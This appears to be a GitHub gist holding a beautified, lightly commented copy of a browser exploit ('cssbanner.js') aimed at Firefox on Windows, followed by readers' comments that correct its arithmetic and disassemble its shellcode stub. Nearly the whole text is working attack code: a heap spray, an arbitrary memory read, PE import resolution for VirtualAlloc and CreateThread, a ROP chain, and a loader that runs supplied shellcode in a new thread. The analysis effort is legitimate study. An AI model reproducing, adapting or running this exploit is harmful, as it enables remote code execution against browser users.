Skip to content

Instantly share code, notes, and snippets.

@kristovatlas
Last active March 9, 2018 21:49
Show Gist options
  • Star 14 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save kristovatlas/e03be5f10e48801aec88b0e23f00a3d7 to your computer and use it in GitHub Desktop.
Save kristovatlas/e03be5f10e48801aec88b0e23f00a3d7 to your computer and use it in GitHub Desktop.
cleaned up version of cssbanner.js
//beautified at http://jsbeautifier.org/ with default options
//and then manually modified
/*jslint bitwise: true */
self.onmessage = function (msg) {
var thecode = msg.data;
/**
* Ostensibly unused function
* @param {num} num
* @return {string}
*/
var pack = function (num) {
return String.fromCharCode(num & 65535) + String.fromCharCode(num >> 16);
};
/**
* Object that accesses memory.
* @param {number} base_addr - Base address in memory
* @param {function} read_function - A function that reads from memory
* @param {function} write_function - Dead code. ignore. I did not remove it as an argument because I wasn't sure how doing so would impact memory management.
*/
function Memory(base_addr, read_function, write_function) {
/**
* @param {number} num
* @return {number}
*/
this.abs_read = function (num) {
if (num >= base_addr) {
num = read_function(num - base_addr);
} else {
num = 4294967295 - base_addr + 1 + num;
num = read_function(num);
}
if (num < 0) {
return 4294967295 + num + 1; //4294967295 = 2**31 - 1
}
return num;
};
/**
* @param {number} num
* @return {number}
*/
this.readByte = function (num) {
return this.read(num) & 255; //equivalent to (x % 255) I think
};
/**
* @param {number} num
* @return {number}
*/
this.readWord = function (num) {
return this.read(num) & 65535; //equivalent to (x % 65535) I think
};
/**
* @param {number} num
* @return {number}
*/
this.readDword = function (num) {
return this.read(num);
};
/**
* @param {number} num
* @return {number}
*/
this.read = function (num) {
if (num % 4) {
//TODO: unravel me
var c = this.abs_read(num & 4294967292),
d = this.abs_read(num + 4 & 4294967292),
e = num % 4;
return c >>> 8 * e | d << 8 * (4 - e);
}
return this.abs_read(num);
};
/**
* @param {number} num
* @return {string} - a string of length 0 or greater
*/
this.readStr = function (num) {
var b = "",
c = 0,
d = 0;
while (true) {
if (32 === c) {
return "";
}
d = this.readByte(num + c);
if (d === 0) {
break;
}
b += String.fromCharCode(d);
c += 1;
}
return b;
};
}
/**
* Portable Executable windows file format
* @param b - TODO
* @param a - TODO
*/
function PE(b, a) {
this.mem = b;
this.export_table = this.module_base = undefined;
this.export_table_size = 0;
this.import_table = undefined;
this.import_table_size = 0;
/**
* @param {number} num
*/
this.find_module_base = function (num) {
num &= 4294901760;
while (num) {
if (this.mem.readWord(num) === 23117) { //23117 = 0x5a4d which is the magic number for PE files "MZ"
this.module_base = num;
return num;
}
num -= 65536;
}
};
this.resolve_pe_structures = function () {
var peFile = this.module_base + this.mem.readWord(this.module_base + 60);
if (this.mem.readDword(peFile) !== 17744) { //17744 = 0x4550 or "PE"
throw "Bad NT Signature ";
}
this.pe_file = peFile;
this.optional_header = this.pe_file + 36;
this.export_directory = this.module_base + this.mem.readDword(this.pe_file + 120);
this.export_directory_size = this.mem.readDword(this.pe_file + 124);
this.import_directory = this.module_base + this.mem.readDword(this.pe_file + 128);
this.import_directory_size = this.mem.readDword(this.pe_file + 132);
};
/**
* @param str {string}
* @param b - TODO
*/
this.resolve_imported_function = function (str, b) {
if (this.import_directory === undefined) {
this.resolve_pe_structures();
}
var e = this.import_directory,
c = e + this.import_directory_size,
d = "",
f = 0;
while (e < c) {
d = this.mem.readStr(this.mem.readDword(e + 12) + this.module_base);
if (str.toUpperCase() == d.toUpperCase()) {
c = this.mem.readDword(e) + this.module_base;
e = this.mem.readDword(e + 16) + this.module_base;
d = this.mem.readDword(c);
f = 0;
while (d !== 0) {
if (this.mem.readStr(d + this.module_base + 2).toUpperCase() == b.toUpperCase()) {
return this.mem.readDword(e + 4 * f);
}
f += 1;
d = this.mem.readDword(c + 4 * f);
}
break;
}
e += 20;
}
return 0;
};
if (a !== undefined) {
this.find_module_base(a);
}
}
/**
* ROP = Return-Oriented Programming
*/
function ROP(b, a) {
this.mem = b;
this.pe = new PE(b, a);
this.pe.resolve_pe_structures();
this.module_base = this.pe.module_base + 4096;
this.findSequence = function (a) {
var b2 = 0,
e = 0,
c = 0;
while (true) {
e = 0;
for (c = 0; c < a.length; c += 1) {
if (this.mem.readByte(this.module_base + b2 + c) === a[c] && e === c) {
e += 1;
} else {
break;
}
}
if (e === a.length) {
return this.module_base + b2;
}
b2 += 1;
}
};
this.findStackPivot = function () {
return this.findSequence([148, 195]);
};
/**
* @param {string} a - This param is unused, so not sure why the string "EAX" is passed as arg.
*/
this.findPopRet = function (a) {
return this.findSequence([88, 195]);
};
this.ropChain = function (a, b, e, c) {
c = undefined != c ? c : new ArrayBuffer(4096);
c = new Uint32Array(c);
var d = this.findStackPivot(),
f = this.findPopRet("EAX"),
g = this.pe.resolve_imported_function("kernel32.dll", "VirtualAlloc"),
i = 0;
c[0] = f + 1;
c[1] = f;
c[2] = a + b + 4 * e + 4;
c[3] = d;
for (i = 0; i < e; i += 1) {
c[(b >> 2) + i] = d;
}
d = (b + 4 >> 2) + e;
c[d++] = g;
c[d++] = a + (b + 4 * e + 28);
c[d++] = a;
c[d++] = 4096;
c[d++] = 4096;
c[d++] = 64;
c[d++] = 3435973836;
return c;
};
} //end ROP
var conv = new ArrayBuffer(8),
convf64 = new Float64Array(conv),
convu32 = new Uint32Array(conv),
spr = new Array(400),
arrBase = 805306416,
ropArrBuf = new ArrayBuffer(4096),
o1 = 176,
o2 = 256,
o3 = 768,
o4 = 832,
o5 = 864,
o6 = 928,
o7 = 1024,
o8 = 1280,
o9 = 1344,
o10 = 1376,
o11 = 1536,
oRop = 1792,
memory = new Uint32Array(16),
len = memory.length,
arr_index = 0,
arr_offset = 0,
offset = 0,
vtable_offset = 300,
memarrayloc,
i = 0,
j = 0,
qword2Double = function (b, a) {
convu32[0] = b;
convu32[1] = a;
return convf64[0];
},
doubleFromFloat = function (b, a) {
convf64[0] = b;
return convu32[a];
},
fzero = qword2Double(0, 0),
sprayArrays = function () {
var b = new Array(262138),
a = 0;
for (a = 0; 262138 > a; a += 1) {
b[a] = fzero;
}
for (a = 0; a < b.length; a += 512) {
b[a + 1] = memory;
b[a + 21] = qword2Double(0, 2);
b[a + 14] = qword2Double(arrBase + o1, 0);
b[a + (o1 + 8) / 8] = qword2Double(arrBase + o2, 0);
b[a + o2 / 8] = qword2Double(2, 0);
b[a + (o2 + 8) / 8] = qword2Double(arrBase + o3, arrBase + 13);
b[a + o3 / 8] = qword2Double(16, 0);
b[a + (o3 + 24) / 8] = qword2Double(2, 0);
b[a + (o3 + 32) / 8] = qword2Double(arrBase + o5, arrBase + o4);
b[a + o4 / 8] = qword2Double(0, arrBase + o6);
b[a + o5 / 8] = qword2Double(arrBase + o7, 0);
b[a + (o6 + 8) / 8] = qword2Double(2, 0);
b[a + (o7 + 8) / 8] = qword2Double(arrBase + o7 + 16, 0);
b[a + (o7 + 16) / 8] = qword2Double(0, 4026531840);
b[a + (o7 + 32) / 8] = qword2Double(0, 3220176896);
b[a + (o7 + 48) / 8] = qword2Double(2, 0);
b[a + (o7 + 56) / 8] = qword2Double(1, 0);
b[a + (o7 + 96) / 8] = qword2Double(arrBase + o8, arrBase + o8);
b[a + (o7 + 112) / 8] = qword2Double(arrBase + o9, arrBase + o9 + 16);
b[a + (o7 + 168) / 8] = qword2Double(0, 2);
b[a + o9 / 8] = qword2Double(arrBase + o10, 2);
b[a + o10 / 8] = qword2Double(2, 0);
b[a + (o10 + 8) / 8] = qword2Double(0, 268435456);
b[a + (o11 + 8) / 8] = qword2Double(arrBase + o11 + 16, 0);
b[a + (o11 + 16) / 8] = qword2Double(0, 4026531840);
b[a + (o11 + 32) / 8] = qword2Double(0, 3220176896);
b[a + (o11 + 48) / 8] = qword2Double(2, 0);
b[a + (o11 + 56) / 8] = qword2Double(1, 0);
b[a + (o11 + 96) / 8] = qword2Double(arrBase + o8, arrBase + o8);
b[a + (o11 + 112) / 8] = qword2Double(arrBase + o9, arrBase + o9 + 16);
b[a + (o11 + 168) / 8] = qword2Double(0, 2);
}
for (a = 0; a < spr.length; a += 1) {
spr[a] = b.slice(0);
}
};
if (/.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)) {
vtable_offset = 304;
} else if (/.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)) {
vtable_offset = 308;
}
if (thecode.length % 2 !== 0) {
thecode += "\u9090";
}
sprayArrays();
postMessage(arrBase);
memarrayloc = undefined;
while (memarrayloc === undefined) {
for (i = 0; i < spr.length; i += 1) {
for (offset = 0; offset < spr[i].length; offset += 512) {
if (typeof spr[i][offset + 1] !== "object") {
memarrayloc = doubleFromFloat(spr[i][offset + 1], 0);
arr_index = i;
arr_offset = offset;
spr[i][offset + o2 / 8] = qword2Double(65, 0);
spr[i][offset + (o2 + 8) / 8] = qword2Double(arrBase + o3, memarrayloc + 27);
for (j = 0; 33 > j; j += 1) {
spr[i][offset + (o2 + 16) / 8 + j] = qword2Double(memarrayloc + 27, memarrayloc + 27);
}
spr[i][offset + (o3 + 8) / 8] = qword2Double(0, 0);
spr[i][offset + o5 / 8] = qword2Double(arrBase + o11, 0);
spr[i][offset + (o7 + 168) / 8] = qword2Double(0, 3);
spr[i][offset + (o7 + 88) / 8] = qword2Double(0, 2);
break;
}
}
}
}
//for (memory; memory.length === len;); //probably equivalent to while loop, but haven't tested this
//I think these are equivalent, but just in case I've left the for loop in original form in above comment
while (memory.length === len) {}
var read_function = function(b) {
return memory[b / 4]
};
var write_function = function(b, a) { //never gets used by Memory constructor
memory[b / 4] = a;
};
var mem = new Memory(memarrayloc + 48, read_function, write_function),
xulPtr = mem.readDword(memarrayloc + 12);
spr[arr_index][arr_offset + 1] = ropArrBuf;
ropPtr = mem.readDword(arrBase + 8);
spr[arr_index][arr_offset + 1] = null;
ropBase = mem.readDword(ropPtr + 16);
var rop = new ROP(mem, xulPtr);
rop.ropChain(ropBase, vtable_offset, 10, ropArrBuf);
var backupESP = rop.findSequence([137, 1, 195]),
ropChain = new Uint32Array(ropArrBuf);
ropChain[0] = backupESP;
CreateThread = rop.pe.resolve_imported_function("KERNEL32.dll", "CreateThread");
for (var i = 0; i < ropChain.length && 3435973836 != ropChain[i]; i++);
ropChain[i++] = 3296825488;
ropChain[i++] = 2048;
ropChain[i++] = 1347469361;
ropChain[i++] = 1528949584;
ropChain[i++] = 3092271187;
ropChain[i++] = CreateThread;
ropChain[i++] = 3096498431;
ropChain[i++] = arrBase + 16;
ropChain[i++] = 1955274891;
ropChain[i++] = 280697892;
ropChain[i++] = 704643071;
ropChain[i++] = 2425406428;
ropChain[i++] = 4294957800;
ropChain[i++] = 2425393407;
for (var j = 0; j < thecode.length; j += 2) {
ropChain[i++] = thecode.charCodeAt(j) + 65536 * thecode.charCodeAt(j + 1);
}
spr[arr_index][arr_offset] = qword2Double(arrBase + 16, 0);
spr[arr_index][arr_offset + 3] = qword2Double(0, 256);
spr[arr_index][arr_offset + 2] = qword2Double(ropBase, 0);
spr[arr_index][arr_offset + (o11 + 168) / 8] = qword2Double(0, 3);
spr[arr_index][arr_offset + (o11 + 88) / 8] = qword2Double(0, 2);
postMessage("GREAT SUCCESS ");
};
@aaaaalbert
Copy link

Thanks for the writeup! A few random remarks:

  • In line 39, 4294967295 is really 2**32-1 (not 31); the number is also known as UINT_MAX, UInt32.MaxValue, or similar, depending on your platform.
  • In lines 50 and 58, the number to mod with is off by 1. (a & 255) == (a % 256), as the largest remainder modulo n is (n-1).
  • Some constants make more sense spelled out in hex. E.g., 4294967292 in lines 76-77 is 0xfffffffc and thus a bitmask that strips off the the two least-significant bits when &ed

@avoidik
Copy link

avoidik commented Nov 30, 2016

& 255 is 0xFF and this construction is used to cut down value to BYTE.
& 65535 is 0xFFFF and this construction is used to cut down value to WORD.
4294967295 is 0xFFFFFFFF and here this configuration is used for unsigned operations.

Another question is: will this exploit work if i change my userAgent to Furyfox? :)

@pchk
Copy link

pchk commented Nov 30, 2016

Added some comments

--- a/cssbanner-beautified2.js
+++ b/cssbanner-beautified2.js
@@ -395,28 +395,76 @@ self.onmessage = function (msg) {
 
     var rop = new ROP(mem, xulPtr);
     rop.ropChain(ropBase, vtable_offset, 10, ropArrBuf);
-    var backupESP = rop.findSequence([137, 1, 195]),
+
+/*
+    Searching for sequence:
+
+           8901             MOV DWORD PTR DS:[ECX], EAX 
+           C3               RETN
+*/
+    var backupESP = rop.findSequence([0x89, 0x01, 0xC3]), 
         ropChain = new Uint32Array(ropArrBuf);
 
     ropChain[0] = backupESP;
     CreateThread = rop.pe.resolve_imported_function("KERNEL32.dll", "CreateThread");
 
-    for (var i = 0; i < ropChain.length && 3435973836 != ropChain[i]; i++);
-
-    ropChain[i++] = 3296825488;
-    ropChain[i++] = 2048;
-    ropChain[i++] = 1347469361;
-    ropChain[i++] = 1528949584;
-    ropChain[i++] = 3092271187;
+    for (var i = 0; i < ropChain.length && 0xCCCCCCCC != ropChain[i]; i++);
+
+/*
+$ ==>    > 90               NOP
+$+1      > 90               NOP
+$+2      > 81C4 00080000    ADD ESP,800
+*/
+    ropChain[i++] = 0xC4819090;
+    ropChain[i++] = 0x00000800;
+/*
+$+8      > 31C0             XOR EAX,EAX
+$+A      > 50               PUSH EAX
+$+B      > 50               PUSH EAX
+*/
+    ropChain[i++] = 0x5050C031;
+/*
+$+C      > 50               PUSH EAX
+$+D      > EB 21            JMP SHORT $+21                 ; JMP to CALL at $+30
+$+F      > 5B               POP EBX                        ; EBX = Virtual Address $+35
+*/
+    ropChain[i++] = 0x5B21EB50;
+/*
+$+10     > 53               PUSH EBX
+$+11     > 50               PUSH EAX
+$+12     > 50               PUSH EAX
+$+13     > B8 ????????      MOV EAX, CreateThread
+*/
+    ropChain[i++] = 0xB8505053;
     ropChain[i++] = CreateThread;
-    ropChain[i++] = 3096498431;
+/*
+$+18     > FFD0             CALL EAX                       ; CreateThread(NULL, 0, $+35, NULL, 0, NULL)
+$+1A     > 90               NOP
+$+1B     > B8 ????????      MOV EAX, arrBase + 16
+*/
+    ropChain[i++] = 0xB890D0FF;
     ropChain[i++] = arrBase + 16;
-    ropChain[i++] = 1955274891;
-    ropChain[i++] = 280697892;
-    ropChain[i++] = 704643071;
-    ropChain[i++] = 2425406428;
-    ropChain[i++] = 4294957800;
-    ropChain[i++] = 2425393407;
+/*
+$+20     > 8B20             MOV ESP, DWORD PTR DS:[EAX]
+$+22     > 8B7424 1C        MOV ESI, DWORD PTR SS:[ESP+1C]
+$+26     > BB 10FFFFFF      MOV EBX, -0F0
+$+2B     > 29DC             SUB ESP, EBX
+$+2D     > C3               RETN
+$+2E     > 90               NOP
+$+2F     > 90               NOP
+*/
+    ropChain[i++] = 0x748B208B;
+    ropChain[i++] = 0x10BB1C24;
+    ropChain[i++] = 0x29FFFFFF;
+    ropChain[i++] = 0x9090C3DC;
+/*
+$+30     > E8 DAFFFFFF      CALL $-26
+$+35     > 90               NOP                            ; New thread started here
+$+36     > 90               NOP
+$+37     > 90               NOP
+*/
+    ropChain[i++] = 0xFFFFDAE8;
+    ropChain[i++] = 0x909090FF;
 
     for (var j = 0; j < thecode.length; j += 2) {
         ropChain[i++] = thecode.charCodeAt(j) + 65536 * thecode.charCodeAt(j + 1);
```

@ath-inactive-account
Copy link

ath-inactive-account commented Mar 9, 2018

from https://stackoverflow.com/questions/12755973/my-variable-keeps-changing-its-value-to-3435973836 :
line 255 : 3435973836 : unassigned memory value on x64 Windows

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment